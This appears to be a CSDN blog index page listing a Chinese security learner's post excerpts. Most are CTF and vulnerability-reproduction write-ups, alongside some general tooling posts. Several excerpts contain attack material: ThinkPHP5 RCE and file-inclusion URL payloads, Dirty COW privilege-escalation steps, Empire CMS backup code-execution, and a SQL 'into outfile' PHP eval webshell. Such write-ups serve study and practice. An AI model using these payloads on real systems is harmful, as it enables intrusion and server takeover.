自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(29)
  • 收藏
  • 关注

原创 Thinkphp5未开启强制路由导致的RCE 漏洞复现与分析

影响版本小于5.0.23小于5.1.305.0.x?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件?s=index/\think\app/invokefunction&

2021-09-28 22:54:33 851

原创 为什么你的phpstorm安装xdebug不成功?

不知道你在安装过程中是否发现,自己明明是跟着网上的教程来的,为什么会出现这些坑点?为什么就是不行?那当然是因为网上那些教程都tm是千篇一律复制粘贴过来的,有些既复杂还没用,没一个靠谱的。所以一个好的教程基本能解决大部分问题,比如这个PHP代码调试很难吗?最少配置使用xdebug不过还有一个问题,如图所示碰到报错,直接百度,结果百度了半天都没找到解决办法。实际上只要稍微认真看看报错信息就会发现,说是名字以及改了,还让你点这个链接查看,已经讲的很清楚了,点进去就能看到改成了什么名字比如这个xde

2021-09-26 22:23:23 778

原创 帝国cms7.5漏洞复现

在后台系统备份处,选择一个数据库后开始备份抓包将tablename的值改为phpinfo()然后在管理备份目录中查看,将readme.txt改为config.php查看源码,在/admin/ebak/phome.php中跟进Ebak_DoEbak,在/admin/ebak/class/functions.php中获取tablename遍历拼接创建config.php并写入内容可以看到,在获取tablename后遍历拼接,然后直接写入了config.php中,造成任意代码执行

2021-09-21 17:20:22 1426

原创 脏牛漏洞复现(CVE-2016-5195)

脏牛漏洞可以让低权限的用户通过该漏洞完成本地提取内核版本>=2.6.22查看内核版本uname -r此时还是普通用户exp地址https://github.com/gbonacini/CVE-2016-5195.git上传exp编译make此时会生成可执行文件执行就会返回root权限的shell./dcow -s...

2021-09-10 16:50:31 666

原创 VSCode中python报错No such file or directory

当前目录为D:\work\python\filetest,目录下放有py文件和要读取的文件test.py内容如下with open('1.txt') as file_name: name = file_name.read()print(name)但运行后会报错FileNotFoundError: [Errno 2] No such file or directory: '1.txt'这怎么回事,明明1.txt在同一目录啊,并且命令行直接运行也没问题排查后发现为vscode的问题

2021-08-04 17:12:12 3138 2

原创 正则绕过总结

做题时总会去翻师傅们的文章,有一丢丢的烦,干脆直接抄到不是,整理到自己博客上异或或取反自增上传临时文件回溯法如果是post传参的话还可以回溯绕过,回溯次数上限一般是默认的100万次,所以填充100万个垃圾字符即可绕过,详情可以看p神的讲解PHP利用PCRE回溯次数限制绕过某些安全限制其他其他就是一些最常见的,%0a(换行),%5c(反斜杠),数组绕过...

2021-08-03 13:04:40 495

原创 sql 无列名注入

所谓无列名注入,就是不需要知道列名就能得到数据,通常都是过滤了information,让你无法得到列名比如下面这个表,当我们不知道列名的情况下要如何得到flag呢?可以通过union来这么做将user表的原本的3列名字变成1,2,3,将第3列别名为b,然后查询b列buu上的[SWPU2019]Web1就是这种但如果过滤了union这么办?还可以用join来注入,这次国赛就是这样(只可惜比赛时我还不会join,没做出来,下定决心赛后好好学学,于是就有了这篇文章。)join 连接两张表using

2021-06-05 19:28:45 650 1

原创 ctfshow web入门ssrf

其实刚接触时做过一遍,现在再做一遍巩固一下知识点文章目录web351web352web353web354web355web356web357web351<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1.

2021-04-28 16:24:13 787

原创 Phar反序列化

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。Phar需要 PHP >= 5.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)phar文件的结构stub:phar文件的标志,必须以.

2021-04-24 16:39:57 2606 1

原创 ctfshow php特性系列

文章目录web89web90web91web92web93web94web95web96web97web98web89<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)

2021-04-18 22:04:05 3739 4

原创 BUUCTF刷题记录(持续更新中~)

之前陆陆续续做过一些题,但都没有记录,这次打算巩固一下,记录下来。 .

2021-04-03 22:38:34 44022 2

原创 docker基础命令入门

我是看狂神学的,感觉讲得不错,文章记录的知识都来自他的视频https://www.bilibili.com/video/BV1og4y1q7M4?p=1安装curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun尝试运行hello-eorlddocker run hello-world帮助命令docker version #显示docker版本信息docker info #显示docker系统信息.

2021-03-10 22:45:38 108

原创 SSTI(模板注入)

概念性的东西这里就不讲了,毕竟像我这种刚开始学ssti,且没什么Python基础的小白来说,要是一上来就巴拉巴拉讲一堆概念,可能直接就懵了。首先认识一下这个东西__class__它可以用来查看变量所属的类什么意思呢?动手试一下就知道了。用命令行打开python,输入''.__class__可以看到输出了<class 'str'>,表明这是str类,当然还有另外的类型,可以依次输入().__class__,[].__class__,{}.__class__str(字符串)、di.

2021-02-28 20:03:11 1459 2

原创 ctfshow web入门ssrf359,360

记录一下做法,原理啥的还有点懵web359打开是登录框,先随便输点什么,然后抓包发现有个returl参数,并且可以随意更改url,这应该就是我们的利用点了然后就是gopher协议打mysql,这里用到这个工具gopheruspython gopherus.py --exploit mysql生成一句话木马select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';记得把_后面那一大段内

2021-02-06 17:01:38 710

原创 ctfshow--DJBCTF--veryphp复现

<?phperror_reporting(0);highlight_file(__FILE__);include("config.php");class qwq{ function __wakeup(){ die("Access Denied!"); } static function oao(){ show_source("config.php"); }}$str = file_get_contents("php://in

2021-02-01 15:46:25 607

原创 ctfshow--DJBCTF--spaceman复现

<?phperror_reporting(0);highlight_file(__FILE__);class spaceman{ public $username; public $password; public function __construct($username,$password) { $this->username = $username; $this->password = $password;

2021-02-01 10:37:11 219

原创 python+selenium完成健康报告自动提交

准备selenium模块,chrome,对应chrome版本的chromedriver,一台服务器脚本功能首先在登录页面登录,然后需要点击提交健康报告的链接跳转到提交页面,最后点击提交按钮,成功后再点击确认。代码首先放上完整代码from selenium import webdriverimport timeusername = 'xxx' #你的用户名password = 'xxx' #你的密码url = 'xxx' #你的签到网站driver = webdriver.Ch

2021-01-28 14:20:47 676

原创 解决智慧树题目无法复制的问题

话不多说,直接进入正题无法复制实际上是前段js禁用了复制的原因,所以直接禁用前段js就好了。以chrome为例,很简单,傻子都会,看不懂建议不要用电脑了~~首先f12然后点这个点了后是这样的界面然后翻到最底下,把Disable JaveScript前打上勾ok,大功告成...

2020-12-23 14:51:48 9586

原创 ctfshow web入门文件包含82-86

知识点:利用session.upload_progress进行文件包含条件竞争思路就是通过上传PHP_SESSION_UPLOAD_PROGRESS来访问/tmp/sess_xxx,从而进行文件包含原理可以看这篇文章利用session.upload_progress进行文件包含和反序列化渗透其中主要的几点首先上传PHP_SESSION_UPLOAD_PROGRESS,代码如下<!DOCTYPE html><html><body><f

2020-12-14 22:18:39 2076 8

原创 sqlmap初体验

看到一道简单的sql注入题,没有过滤,可以乘机学习一下sqlmap的用法测试发现,用户名和密码都能注,手工就不演示了,直接上sqlmap首先,因为是post请求,所以先抓包,把数据保存到sqlmap目录下(这里我保存成test.txt)然后运行命令sqlmap.py -r test.txt --dbs //跑数据库名然后查web2的表名sqlmap.py -r test.txt -D web2 --tables //跑表名接着查flag的列名sqlmap.py -r tes

2020-12-06 23:02:22 102

原创 从一道sql注入题认识sql一句话木马

最近做到一道题,是ctfshow平台的,题目如下没有过滤,但如果返回结果中没有ASCII码在 00-7f 范围的,才会查询成功。我以为要用什么方法绕过,但看了师傅们的做法才知道,还可以把查询结果写到到一个文件里,而在linux服务器下web文件夹的目录为/var/www/html/(看来我知道的还是太少了๐·°(৹˃̵﹏˂̵৹)°·๐)所以payload为1' union select 1,password from ctfshow_user5 into outfile '/var/www/htm

2020-12-02 01:23:38 609

原创 unctf2020部分wp

第一次做出了这么多题,个人感觉还行。文章可能有点长,但都是一些简单的题,大佬的话快速浏览一下就可以啦。Webeasy_ssrf<?phpecho'<center><strong>welc0me to 2020UNCTF!!</strong></center>';highlight_file(__FILE__);$url = $_GET['url'];if(preg_match('/unctf\.com/',$url)){

2020-11-14 23:13:49 1214 2

原创 ctfshow web入门55,56

最近在做这系列的题,这两题又学到了新姿势,赶紧记录一下web55<?php// 你们在炫技吗?if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}过滤了字母,不过通配符?和数字没有过滤,可以用bin

2020-11-03 23:44:12 1366

原创 php反序列化字符串逃逸

php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。来看一段简单的代码<?php$name=$_GET[name];$id='hello';$p=array($name,$id);echo test(serialize($p));?>运行结果加入一点过滤<?phpfunction test($str){ return preg_replace('/go

2020-10-31 15:54:06 2282

原创 简单介绍php反序列化

序列化所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。通俗来讲就是将变量或对象转换成字符串。反序列化很好理解,就是将序列化反过来,通过unserialize()函数重新把字符串变回php原来的值。多说无益,直接看例子。先看序列化<?phpclass person{ var $name; var $age; var $sex; private $admin=233; protected $id=123;

2020-10-30 21:47:19 678 2

原创 菜鸡杯CTFshow部分wp

讲道理,题目确实并没有很难,然而我实在是太菜了,只做出了一题。。。###web签到(连web签到都不会,我觉得我可能不适合学web(○´・д・)ノ)<?phpif(isset($_GET['url'])){ switch (strtolower(substr($_GET['url'], 0,4))) { case 'file': echo 'file protocol do not allow'; break;

2020-09-01 14:36:41 623

原创 sql报错注入简单介绍

sql报错注入updatexml()UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 。作用:改变文档中符合条件的节点的值。undatexml(1,(查询

2020-08-12 15:05:30 334

原创 常见的文件头识别和修复

常见的文件头识别和修复文件头是位于文件开头的一段承担一定任务的数据以下是常见的文件头:相应的还有文件结尾zip文件的结尾以一串504B0506开始rar文件以C43D7B00400700结尾JPG文件结尾为FFD9PNG文件 结尾为000049454E44AE426082Gif文件结尾为3B其中PNG文件头还包含IHDR信息其中最常见的就是修改高度题目基本都很简单,如给你个没后缀的文件让你根据文件头判断,或者给个文件头缺失的文件让你修复。...

2020-08-09 14:25:39 9381

原创 简单介绍sql注入

Sql就是数据库的结构化查询语言Sql注入,就是将任意sql语句插入数据库进行查询,通过执行恶意SQL语句,,从而得到想要的信息原理就是通过输入的内容来修改sql语句,使之违背原计划的功能比如一个登陆界面他的sql语句为Select * from admin where username=’a’ and password=’b’我们在用户名那栏输入的内容为a,在密码那栏输入的内容为b,当我们输入正确用户名和密码时才会登陆当我们在用户名那里输入’ or 1=1-- 时也能登陆成功,这时这句

2020-07-21 11:15:53 375

php反序列化.简单介绍php反序列化

php反序列化.简单介绍php反序列化

2021-07-07

jwt,什么是jwt,看完这个就知道了

jwt,什么是jwt,看完这个就知道了

2021-07-07

docker基础命令入门都是一些简单的命令

docker基础命令入门都是一些简单的命令

2021-07-07

sql报错注入,简单介绍sql注入

sql报错注入,简单介绍sql注入

2021-07-07

命令执行,简单的命令执行,简单好学

命令执行,简单的命令执行,简单好学

2021-07-07

文件上传漏洞知识点,简单好学

文件上传漏洞知识点,简单好学

2021-07-07

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除